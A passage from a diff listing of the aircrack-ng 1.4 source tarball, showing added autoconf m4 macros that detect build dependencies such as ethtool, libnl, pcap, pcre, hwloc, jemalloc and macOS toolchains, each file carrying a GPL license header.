+dnl program, then also delete it here.
+
+AC_DEFUN([AIRCRACK_NG_ETHTOOL],[
+case "$target" in
+  *-linux-*)
+AC_ARG_VAR([ETHTOOL],[Use this ethtool for Airmon-ng.])
+dnl Allow env override but do not be fooled by 'ETHTOOL=t'.
+test t = "$ETHTOOL" && unset ETHTOOL
+AC_CHECK_PROG([ETHTOOL], [ethtool], [$as_dir/$ac_word$ac_exec_ext], [], [$ETHTOOL_PATH$PATH_SEPARATOR$PATH$PATH_SEPARATOR/sbin$PATH_SEPARATOR/usr/sbin$PATH_SEPARATOR/usr/local/sbin])
+AS_IF([test "x$ETHTOOL" = "x"],[
+    AC_MSG_WARN([ethtool not found; cannot build Airmon-ng])
+    ETHTOOL_FOUND="not found, skipping Airmon-ng"
+], [
+    ETHTOOL_FOUND="yes, found $ETHTOOL"
+])
+  ;;
+  *)
+ETHTOOL_FOUND="not required"
+  ;;
+esac
+])

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_experimental.m4 Added

@@ -0,0 +1,55 @@
+dnl Aircrack-ng
+dnl
+dnl Copyright (C) 2017 Joseph Benden <joe@benden.us>
+dnl
+dnl Autotool support was written by: Joseph Benden <joe@benden.us>
+dnl
+dnl This program is free software; you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+dnl GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program; if not, write to the Free Software
+dnl Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+dnl
+dnl In addition, as a special exception, the copyright holders give
+dnl permission to link the code of portions of this program with the
+dnl OpenSSL library under certain conditions as described in each
+dnl individual source file, and distribute linked combinations
+dnl including the two.
+dnl
+dnl You must obey the GNU General Public License in all respects
+dnl for all of the code used other than OpenSSL.
+dnl
+dnl If you modify file(s) with this exception, you may extend this
+dnl exception to your dnl version of the file(s), but you are not obligated
+dnl to do so.
+dnl
+dnl If you dnl do not wish to do so, delete this exception statement from your
+dnl version.
+dnl
+dnl If you delete this exception statement from all source files in the
+dnl program, then also delete it here.
+
+AC_DEFUN([AIRCRACK_NG_EXPERIMENTAL], [
+
+AC_ARG_WITH(experimental,
+    [AS_HELP_STRING([--with-experimental=[[yes|no]]], [use experimental features of Aircrack-ng, [default=no]])])
+
+case $with_experimental in
+    yes)
+        EXPERIMENTAL=yes
+        ;;
+    *)
+        EXPERIMENTAL=no
+        ;;
+esac
+
+AM_CONDITIONAL([EXPERIMENTAL], [test "$EXPERIMENTAL" = yes])
+])

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_ext_scripts.m4 Added

@@ -0,0 +1,70 @@
+dnl Aircrack-ng
+dnl
+dnl Copyright (C) 2017 Joseph Benden <joe@benden.us>
+dnl
+dnl Autotool support was written by: Joseph Benden <joe@benden.us>
+dnl
+dnl This program is free software; you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+dnl GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program; if not, write to the Free Software
+dnl Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+dnl
+dnl In addition, as a special exception, the copyright holders give
+dnl permission to link the code of portions of this program with the
+dnl OpenSSL library under certain conditions as described in each
+dnl individual source file, and distribute linked combinations
+dnl including the two.
+dnl
+dnl You must obey the GNU General Public License in all respects
+dnl for all of the code used other than OpenSSL.
+dnl
+dnl If you modify file(s) with this exception, you may extend this
+dnl exception to your dnl version of the file(s), but you are not obligated
+dnl to do so.
+dnl
+dnl If you dnl do not wish to do so, delete this exception statement from your
+dnl version.
+dnl
+dnl If you delete this exception statement from all source files in the
+dnl program, then also delete it here.
+
+AC_DEFUN([AIRCRACK_NG_EXT_SCRIPTS], [
+
+if test "$cross_compiling" = no;
+then
+    PC_INIT([2.7])
+    PC_PYTHON_SITE_PACKAGE_DIR
+fi
+
+AC_CHECK_PROGS([READLINK], [greadlink readlink])
+
+AC_ARG_WITH(ext-scripts,
+    [AS_HELP_STRING([--with-ext-scripts], [enable experimental, extra scripts])])
+
+case "$with_ext_scripts" in
+    yes)
+        AC_MSG_CHECKING([for Python requirement for ext-scripts])
+        if test "x$PYTHON" = x ; then
+           AC_MSG_FAILURE([not found])
+        else
+           AC_MSG_RESULT([found; $PYTHON])
+        fi
+
+        EXT_SCRIPTS=yes
+        ;;
+    *)
+        EXT_SCRIPTS=no
+        ;;
+esac
+
+AM_CONDITIONAL([EXT_SCRIPTS], [test "$EXT_SCRIPTS" = yes])
+])

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_hwloc.m4 Added

@@ -0,0 +1,74 @@
+dnl Aircrack-ng
+dnl
+dnl Copyright (C) 2018 Joseph Benden <joe@benden.us>
+dnl
+dnl Autotool support was written by: Joseph Benden <joe@benden.us>
+dnl
+dnl This program is free software; you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+dnl GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program; if not, write to the Free Software
+dnl Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+dnl
+dnl In addition, as a special exception, the copyright holders give
+dnl permission to link the code of portions of this program with the
+dnl OpenSSL library under certain conditions as described in each
+dnl individual source file, and distribute linked combinations
+dnl including the two.
+dnl
+dnl You must obey the GNU General Public License in all respects
+dnl for all of the code used other than OpenSSL.
+dnl
+dnl If you modify file(s) with this exception, you may extend this
+dnl exception to your dnl version of the file(s), but you are not obligated
+dnl to do so.
+dnl
+dnl If you dnl do not wish to do so, delete this exception statement from your
+dnl version.
+dnl
+dnl If you delete this exception statement from all source files in the
+dnl program, then also delete it here.
+
+AC_DEFUN([AIRCRACK_NG_HWLOC], [
+AC_ARG_ENABLE([hwloc],[AC_HELP_STRING([--enable-hwloc], [include hwloc library, [default=yes]])])
+
+HAVE_HWLOC=no
+
+AC_ARG_ENABLE(static-hwloc,
+    AS_HELP_STRING([--enable-static-hwloc],
+		[Enable statically linked OpenMPI libhwloc.]),
+    [static_hwloc=$enableval], [static_hwloc=no])
+
+if test "x$static_hwloc" != "xno"; then
+	enable_hwloc=yes
+fi
+
+AS_IF([test "x$enable_hwloc" != "xno"], [
+	if test "x$static_hwloc" != "xno"; then
+		AX_EXT_HAVE_STATIC_LIB(HWLOC, DEFAULT_STATIC_LIB_SEARCH_PATHS, hwloc libhwloc, hwloc_bitmap_alloc, -lnuma -lltdl)
+		AX_EXT_HAVE_STATIC_LIB(NUMA, DEFAULT_STATIC_LIB_SEARCH_PATHS, numa libnuma, numa_bitmask_setbit, -lltdl)
+		AX_EXT_HAVE_STATIC_LIB(LTDL, DEFAULT_STATIC_LIB_SEARCH_PATHS, ltdl libltdl, lt_dlopen, -ldl)
+		HWLOC_LIBS="$HWLOC_LIBS $NUMA_LIBS $LTDL_LIBS"
+		AC_SUBST([HWLOC_LIBS])
+        HAVE_HWLOC=yes
+	else
+		PKG_CHECK_MODULES(HWLOC, hwloc, HWLOC_FOUND=yes, HWLOC_FOUND=no)
+	fi
+
+	AS_IF([test "x$HWLOC_FOUND" = "xyes"], [
+		AC_DEFINE([HAVE_HWLOC], [1], [Define if you have hwloc library.])
+        HAVE_HWLOC=yes
+	])
+])
+
+AM_CONDITIONAL([HAVE_HWLOC], [test "$HWLOC_FOUND" = yes])
+AM_CONDITIONAL([STATIC_HWLOC], [test "$static_hwloc" != no])
+])

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_jemalloc.m4 Added

@@ -0,0 +1,57 @@
+dnl Aircrack-ng
+dnl
+dnl Copyright (C) 2018 Joseph Benden <joe@benden.us>
+dnl
+dnl Autotool support was written by: Joseph Benden <joe@benden.us>
+dnl
+dnl This program is free software; you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+dnl GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program; if not, write to the Free Software
+dnl Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+dnl
+dnl In addition, as a special exception, the copyright holders give
+dnl permission to link the code of portions of this program with the
+dnl OpenSSL library under certain conditions as described in each
+dnl individual source file, and distribute linked combinations
+dnl including the two.
+dnl
+dnl You must obey the GNU General Public License in all respects
+dnl for all of the code used other than OpenSSL.
+dnl
+dnl If you modify file(s) with this exception, you may extend this
+dnl exception to your dnl version of the file(s), but you are not obligated
+dnl to do so.
+dnl
+dnl If you dnl do not wish to do so, delete this exception statement from your
+dnl version.
+dnl
+dnl If you delete this exception statement from all source files in the
+dnl program, then also delete it here.
+
+AC_DEFUN([AIRCRACK_NG_JEMALLOC], [
+AX_REQUIRE_DEFINED([AC_CHECK_LIB])
+
+AC_ARG_WITH(jemalloc,
+    [AS_HELP_STRING([--with-jemalloc[[=yes|no]]], [use jemalloc library, [default=no]])])
+
+case $with_jemalloc in
+    yes)
+        AC_CHECK_LIB([jemalloc], [mallocx], [
+            LIBS="$LIBS -ljemalloc"
+            JEMALLOC=yes
+        ],[ JEMALLOC=no ])
+        ;;
+    *)
+        JEMALLOC=no
+        ;;
+esac
+])

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_largefile.m4 Added

@@ -0,0 +1,48 @@
+dnl Aircrack-ng
+dnl
+dnl Copyright (C) 2017 Joseph Benden <joe@benden.us>
+dnl
+dnl Autotool support was written by: Joseph Benden <joe@benden.us>
+dnl
+dnl This program is free software; you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+dnl GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program; if not, write to the Free Software
+dnl Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+dnl
+dnl In addition, as a special exception, the copyright holders give
+dnl permission to link the code of portions of this program with the
+dnl OpenSSL library under certain conditions as described in each
+dnl individual source file, and distribute linked combinations
+dnl including the two.
+dnl
+dnl You must obey the GNU General Public License in all respects
+dnl for all of the code used other than OpenSSL.
+dnl
+dnl If you modify file(s) with this exception, you may extend this
+dnl exception to your dnl version of the file(s), but you are not obligated
+dnl to do so.
+dnl
+dnl If you dnl do not wish to do so, delete this exception statement from your
+dnl version.
+dnl
+dnl If you delete this exception statement from all source files in the
+dnl program, then also delete it here.
+
+AC_DEFUN([AIRCRACK_NG_LARGEFILE], [
+AX_REQUIRE_DEFINED([AC_SYS_LARGEFILE])[]dnl
+
+AC_SYS_LARGEFILE
+
+AS_IF([test ".$ac_cv_sys_file_offset_bits$ac_cv_sys_large_files" != ".nono"], [
+	CPPFLAGS="$CPPFLAGS -D_FILE_OFFSET_BITS=64 -D_LARGEFILE64_SOURCE"
+])
+])

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_libnl.m4 Added

@@ -0,0 +1,108 @@
+dnl Aircrack-ng
+dnl
+dnl Copyright (C) 2017 Joseph Benden <joe@benden.us>
+dnl
+dnl Autotool support was written by: Joseph Benden <joe@benden.us>
+dnl
+dnl This program is free software; you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+dnl GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program; if not, write to the Free Software
+dnl Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+dnl
+dnl In addition, as a special exception, the copyright holders give
+dnl permission to link the code of portions of this program with the
+dnl OpenSSL library under certain conditions as described in each
+dnl individual source file, and distribute linked combinations
+dnl including the two.
+dnl
+dnl You must obey the GNU General Public License in all respects
+dnl for all of the code used other than OpenSSL.
+dnl
+dnl If you modify file(s) with this exception, you may extend this
+dnl exception to your dnl version of the file(s), but you are not obligated
+dnl to do so.
+dnl
+dnl If you dnl do not wish to do so, delete this exception statement from your
+dnl version.
+dnl
+dnl If you delete this exception statement from all source files in the
+dnl program, then also delete it here.
+
+AC_DEFUN([AIRCRACK_NG_LIBNL], [
+AC_ARG_ENABLE([libnl],[AC_HELP_STRING([--enable-libnl], [include netlink library, [default=yes on Linux]])])
+_aircrack_ng_enable_libnl=no
+
+case "$host_os" in
+    LINUX* | linux*)
+        _aircrack_ng_enable_libnl=yes
+        ;;
+esac
+
+case "$_aircrack_ng_enable_libnl" in
+    yes)
+        case "$enable_libnl" in
+            yes | "" | auto)
+                PKG_CHECK_MODULES([LIBNL3X], [libnl-3.0 >= 3.2], [
+                    # CPPFLAGS="$CPPFLAGS $LIBNL3X_CFLAGS -DCONFIG_LIBNL30 -DCONFIG_LIBNL"
+                    # LIBS="$LIBS $LIBNL3X_LIBS -lnl-genl-3"
+                    LIBNL_CFLAGS="$LIBNL3X_CFLAGS -DCONFIG_LIBNL30 -DCONFIG_LIBNL"
+                    LIBNL_LIBS="$LIBNL3X_LIBS -lnl-genl-3"
+                    NLLIBNAME="libnl-3.0"
+                ], [
+                    PKG_CHECK_MODULES([LIBNL31], [libnl-3.1 = 3.1], [
+                        LIBNL_CFLAGS="$LIBNL31_CFLAGS -DCONFIG_LIBNL30 -DCONFIG_LIBNL"
+                        LIBNL_LIBS="$LIBNL31_LIBS -lnl-genl"
+                        NLLIBNAME="libnl-3.1"
+                    ], [
+                        PKG_CHECK_MODULES([LIBNL30], [libnl-3.0 >= 3], [
+                            LIBNL_CFLAGS="$LIBNL30_CFLAGS -DCONFIG_LIBNL30 -DCONFIG_LIBNL"
+                            LIBNL_LIBS="$LIBNL30_LIBS -lnl-genl"
+                            NLLIBNAME="libnl-3.0"
+                        ], [
+                            PKG_CHECK_MODULES([LIBNL1], [libnl-1 >= 1], [
+                                LIBNL_CFLAGS="$LIBNL1_CFLAGS -DCONFIG_LIBNL"
+                                LIBNL_LIBS="$LIBNL1_LIBS"
+                                NLLIBNAME="libnl-1"
+                            ], [
+                                PKG_CHECK_MODULES([LIBNLT], [libnl-tiny >= 1], [
+                                    LIBNL_CFLAGS="$LIBNLT_CFLAGS -DCONFIG_LIBNL -DCONFIG_LIBNL20"
+                                    LIBNL_LIBS="$LIBNLT_LIBS"
+                                    NLLIBNAME="libnl-tiny"
+                                ], [
+                                    AC_MSG_RESULT([could not find development files for any supported version of libnl. install either libnl1 or libnl3.])
+                                    NLLIBNAME=""
+                                ])
+                            ])
+                        ])
+                    ])
+                ])
+
+                AC_SUBST([LIBNL_CFLAGS])
+                AC_SUBST([LIBNL_LIBS])
+                AC_SUBST([NLLIBNAME])
+
+                if test "x$NLLIBNAME" = x; then
+                    NLLIBNAME_FOUND="no"
+                else
+                    NLLIBNAME_FOUND="yes, found $NLLIBNAME"
+                fi
+                ;;
+            *)
+                NLLIBNAME_FOUND="not enabled"
+                ;;
+        esac
+        ;;
+    *)
+        NLLIBNAME_FOUND="not required"
+        ;;
+esac
+])

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_mac.m4 Added

@@ -0,0 +1,94 @@
+dnl Aircrack-ng
+dnl
+dnl Copyright (C) 2017 Joseph Benden <joe@benden.us>
+dnl
+dnl Autotool support was written by: Joseph Benden <joe@benden.us>
+dnl
+dnl This program is free software; you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+dnl GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program; if not, write to the Free Software
+dnl Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+dnl
+dnl In addition, as a special exception, the copyright holders give
+dnl permission to link the code of portions of this program with the
+dnl OpenSSL library under certain conditions as described in each
+dnl individual source file, and distribute linked combinations
+dnl including the two.
+dnl
+dnl You must obey the GNU General Public License in all respects
+dnl for all of the code used other than OpenSSL.
+dnl
+dnl If you modify file(s) with this exception, you may extend this
+dnl exception to your dnl version of the file(s), but you are not obligated
+dnl to do so.
+dnl
+dnl If you dnl do not wish to do so, delete this exception statement from your
+dnl version.
+dnl
+dnl If you delete this exception statement from all source files in the
+dnl program, then also delete it here.
+
+AC_DEFUN([AIRCRACK_NG_MAC],[
+AX_REQUIRE_DEFINED([AC_CHECK_HEADER])[]dnl
+AX_REQUIRE_DEFINED([AC_CHECK_FILE])[]dnl
+
+AC_ARG_WITH(xcode,
+    [AS_HELP_STRING([--with-xcode], [enable XCode support])])
+
+case "$host_os" in
+    DARWIN*|MACOS*|darwin*|macos*)
+    	dnl
+        dnl Homebrew
+        dnl
+		AC_ARG_VAR([BREW],[Use this brew for macOS dependencies.])
+		dnl Allow env override but do not be fooled by 'BREW=t'.
+		test t = "$BREW" && unset BREW
+		AC_CHECK_PROG([BREW], [brew], [$as_dir/$ac_word$ac_exec_ext], [], [$BREW_PATH$PATH_SEPARATOR$PATH$PATH_SEPARATOR/bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR/usr/local/bin])
+		AS_IF([test "x$BREW" = "x"],[
+			AC_MSG_WARN([Homebrew not found])
+			BREW_FOUND=no
+		], [
+			BREW_FOUND=yes
+		])
+
+		if test "x$BREW_FOUND" = xyes; then
+			CFLAGS="$CFLAGS -I$(brew --prefix openssl)/include"
+			CXXFLAGS="$CXXFLAGS -I$(brew --prefix openssl)/include"
+			CPPFLAGS="$CPPFLAGS -I$(brew --prefix openssl)/include"
+			LDFLAGS="$LDFLAGS -L$(brew --prefix openssl)/lib"
+		fi
+
+        AC_CHECK_FILE(/usr/local/Homebrew, [ CPPFLAGS="$CPPFLAGS -I/usr/local/include" ])
+
+        dnl MacPorts
+        AC_CHECK_FILE(/opt/local/include, [
+            CPPFLAGS="$CPPFLAGS -I/opt/local/include -I../.."
+            OSX_ALT_FLAGS=true
+            AC_CHECK_FILE(/opt/local/lib, [
+                LDFLAGS="$LDFLAGS -L/opt/local/lib"
+            ], [
+                AC_MSG_ERROR([MacPorts installation seems broken, have includes but no libs.])
+            ])
+        ])
+
+        dnl XCode
+        case $with_xcode in
+            yes | "")
+                AC_CHECK_FILE(/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/swift-migrator/sdk/MacOSX.sdk/usr/include, [
+                    CPPFLAGS="$CPPFLAGS -I/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/swift-migrator/sdk/MacOSX.sdk/usr/include/ -D_XCODE -I../.."
+                    OSX_ALT_FLAGS=true
+                ])
+                ;;
+        esac
+        ;;
+esac
+])

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_os_detect.m4 Added

@@ -0,0 +1,72 @@
+dnl Aircrack-ng
+dnl
+dnl Copyright (C) 2017 Joseph Benden <joe@benden.us>
+dnl
+dnl Autotool support was written by: Joseph Benden <joe@benden.us>
+dnl
+dnl This program is free software; you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+dnl GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program; if not, write to the Free Software
+dnl Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+dnl
+dnl In addition, as a special exception, the copyright holders give
+dnl permission to link the code of portions of this program with the
+dnl OpenSSL library under certain conditions as described in each
+dnl individual source file, and distribute linked combinations
+dnl including the two.
+dnl
+dnl You must obey the GNU General Public License in all respects
+dnl for all of the code used other than OpenSSL.
+dnl
+dnl If you modify file(s) with this exception, you may extend this
+dnl exception to your dnl version of the file(s), but you are not obligated
+dnl to do so.
+dnl
+dnl If you dnl do not wish to do so, delete this exception statement from your
+dnl version.
+dnl
+dnl If you delete this exception statement from all source files in the
+dnl program, then also delete it here.
+
+AC_DEFUN([AIRCRACK_NG_OS_DETECT],[
+case "$host_os" in
+    cygwin* | msys*)
+        OS=cygwin
+        ;;
+    darwin* | macos*)
+        OS=darwin
+        ;;
+    linux*)
+        OS=linux
+        ;;
+    netbsd* | NetBSD*)
+        OS=netbsd
+        ;;
+    openbsd* | OpenBSD*)
+        OS=openbsd
+        ;;
+    freebsd* | FreeBSD* | hardenedbsd* | hbsd* | dragonfly* | DragonFly* | trueos* | TrueOS*)
+        OS=freebsd
+        ;;
+    *)
+        OS=dummy
+        ;;
+esac
+
+AM_CONDITIONAL([CYGWIN], [test "$OS" = cygwin])
+AM_CONDITIONAL([DARWIN], [test "$OS" = darwin])
+AM_CONDITIONAL([LINUX], [test "$OS" = linux])
+AM_CONDITIONAL([NETBSD], [test "$OS" = netbsd])
+AM_CONDITIONAL([FREEBSD], [test "$OS" = freebsd])
+AM_CONDITIONAL([OPENBSD], [test "$OS" = openbsd])
+AM_CONDITIONAL([DUMMY], [test "$OS" = dummy])
+])

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_pcap.m4 Added

@@ -0,0 +1,122 @@
+dnl Aircrack-ng
+dnl
+dnl Copyright (C) 2017 Joseph Benden <joe@benden.us>
+dnl
+dnl Autotool support was written by: Joseph Benden <joe@benden.us>
+dnl
+dnl This program is free software; you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+dnl GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program; if not, write to the Free Software
+dnl Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+dnl
+dnl In addition, as a special exception, the copyright holders give
+dnl permission to link the code of portions of this program with the
+dnl OpenSSL library under certain conditions as described in each
+dnl individual source file, and distribute linked combinations
+dnl including the two.
+dnl
+dnl You must obey the GNU General Public License in all respects
+dnl for all of the code used other than OpenSSL.
+dnl
+dnl If you modify file(s) with this exception, you may extend this
+dnl exception to your dnl version of the file(s), but you are not obligated
+dnl to do so.
+dnl
+dnl If you dnl do not wish to do so, delete this exception statement from your
+dnl version.
+dnl
+dnl If you delete this exception statement from all source files in the
+dnl program, then also delete it here.
+
+AC_DEFUN([AIRCRACK_NG_PCAP], [
+AC_ARG_WITH(libpcap-include,
+    [AS_HELP_STRING([--with-libpcap-include=DIR],
+        [use PCAP includes in DIR, [default=auto]])
+    ],[
+    	if test -d "$withval" ; then
+    		CPPFLAGS="$CPPFLAGS -I$withval"
+    	fi
+    ])
+
+AC_ARG_WITH(libpcap-lib,
+    [AS_HELP_STRING([--with-libpcap-lib=DIR],
+        [use PCAP libraries in DIR, [default=auto]])
+    ],[
+    	if test -d "$withval" ; then
+    		LDFLAGS="$LDFLAGS -L$withval"
+    	fi
+    ])
+
+dnl
+dnl Search for headers
+dnl
+if test "${with_libpcap_include+set}" != set; then
+	AC_MSG_CHECKING(pcap header directories)
+
+	found_pcap_dir=""
+	for pcap_dir in /usr/include/pcap /usr/local/include/pcap \
+					$prefix/include ; do
+		if test -d "$pcap_dir" ; then
+			found_pcap_dir="$pcap_dir"
+			break
+		fi
+	done
+
+	if test "$found_pcap_dir" != "" ; then
+		PCAP_CFLAGS="-I$found_pcap_dir"
+		AC_SUBST([PCAP_CFLAGS])
+
+		AC_MSG_RESULT([$found_pcap_dir])
+	else
+		AC_MSG_RESULT([not found])
+	fi
+fi
+
+dnl
+dnl Verify that required headers are useable
+dnl
+saved_cflags="$CFLAGS"
+CFLAGS="$PCAP_INCLUDES $CFLAGS"
+AC_CHECK_HEADERS([pcap.h], [
+	PCAP_FOUND=yes
+], [
+	PCAP_FOUND=no
+])
+CFLAGS="$saved_cflags"
+
+AC_ARG_ENABLE(static-pcap,
+    AS_HELP_STRING([--enable-static-pcap],
+		[Enable statically linked PCAP libpcap.]),
+    [static_pcap=$enableval], [static_pcap=no])
+
+dnl
+dnl Locate the library
+dnl
+AS_IF([test "$PCAP_FOUND" = yes], [
+	if test "x$static_pcap" != "xno"; then
+		AX_EXT_HAVE_STATIC_LIB(PCAP, DEFAULT_STATIC_LIB_SEARCH_PATHS, pcap libpcap, pcap_open_live)
+		if test "x$PCAP_FOUND" = xyes; then
+			AC_DEFINE([HAVE_PCAP], [1])
+		fi
+	else
+		AC_CHECK_LIB([pcap], [pcap_open_live], [
+			PCAP_LIBS=-lpcap
+			AC_DEFINE([HAVE_PCAP], [1])
+			AC_SUBST(PCAP_LIBS)
+
+			PCAP_FOUND=yes
+		],[ PCAP_FOUND=no ])
+	fi
+])
+
+AM_CONDITIONAL([HAVE_PCAP], [test "$PCAP_FOUND" = yes])
+])

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_pcre.m4 Added

@@ -0,0 +1,60 @@
+dnl Aircrack-ng
+dnl
+dnl Copyright (C) 2017 Joseph Benden <joe@benden.us>
+dnl
+dnl Autotool support was written by: Joseph Benden <joe@benden.us>
+dnl
+dnl This program is free software; you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+dnl GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program; if not, write to the Free Software
+dnl Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+dnl
+dnl In addition, as a special exception, the copyright holders give
+dnl permission to link the code of portions of this program with the
+dnl OpenSSL library under certain conditions as described in each
+dnl individual source file, and distribute linked combinations
+dnl including the two.
+dnl
+dnl You must obey the GNU General Public License in all respects
+dnl for all of the code used other than OpenSSL.
+dnl
+dnl If you modify file(s) with this exception, you may extend this
+dnl exception to your dnl version of the file(s), but you are not obligated
+dnl to do so.
+dnl
+dnl If you dnl do not wish to do so, delete this exception statement from your
+dnl version.
+dnl
+dnl If you delete this exception statement from all source files in the
+dnl program, then also delete it here.
+
+AC_DEFUN([AIRCRACK_NG_PCRE], [
+AC_ARG_ENABLE(static-pcre,
+    AS_HELP_STRING([--enable-static-pcre],
+		[Enable statically linked PCRE libpcre.]),
+    [static_pcre=$enableval], [static_pcre=no])
+
+if test "x$static_pcre" != "xno"; then
+	AX_EXT_HAVE_STATIC_LIB(PCRE, DEFAULT_STATIC_LIB_SEARCH_PATHS, pcre libpcre, pcre_version)
+	if test "x$PCRE_FOUND" = xyes; then
+		HAVE_PCRE=yes
+	else
+		HAVE_PCRE=no
+	fi
+else
+	PKG_CHECK_MODULES(PCRE, libpcre, HAVE_PCRE=yes, HAVE_PCRE=no)
+fi
+
+AS_IF([test "x$HAVE_PCRE" = "xyes"], [
+    AC_DEFINE([HAVE_PCRE], [1])
+])
+])

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_prog_cc.m4 Added

@@ -0,0 +1,48 @@
+dnl Aircrack-ng
+dnl
+dnl Copyright (C) 2017 Joseph Benden <joe@benden.us>
+dnl
+dnl Autotool support was written by: Joseph Benden <joe@benden.us>
+dnl
+dnl This program is free software; you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+dnl GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program; if not, write to the Free Software
+dnl Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+dnl
+dnl In addition, as a special exception, the copyright holders give
+dnl permission to link the code of portions of this program with the
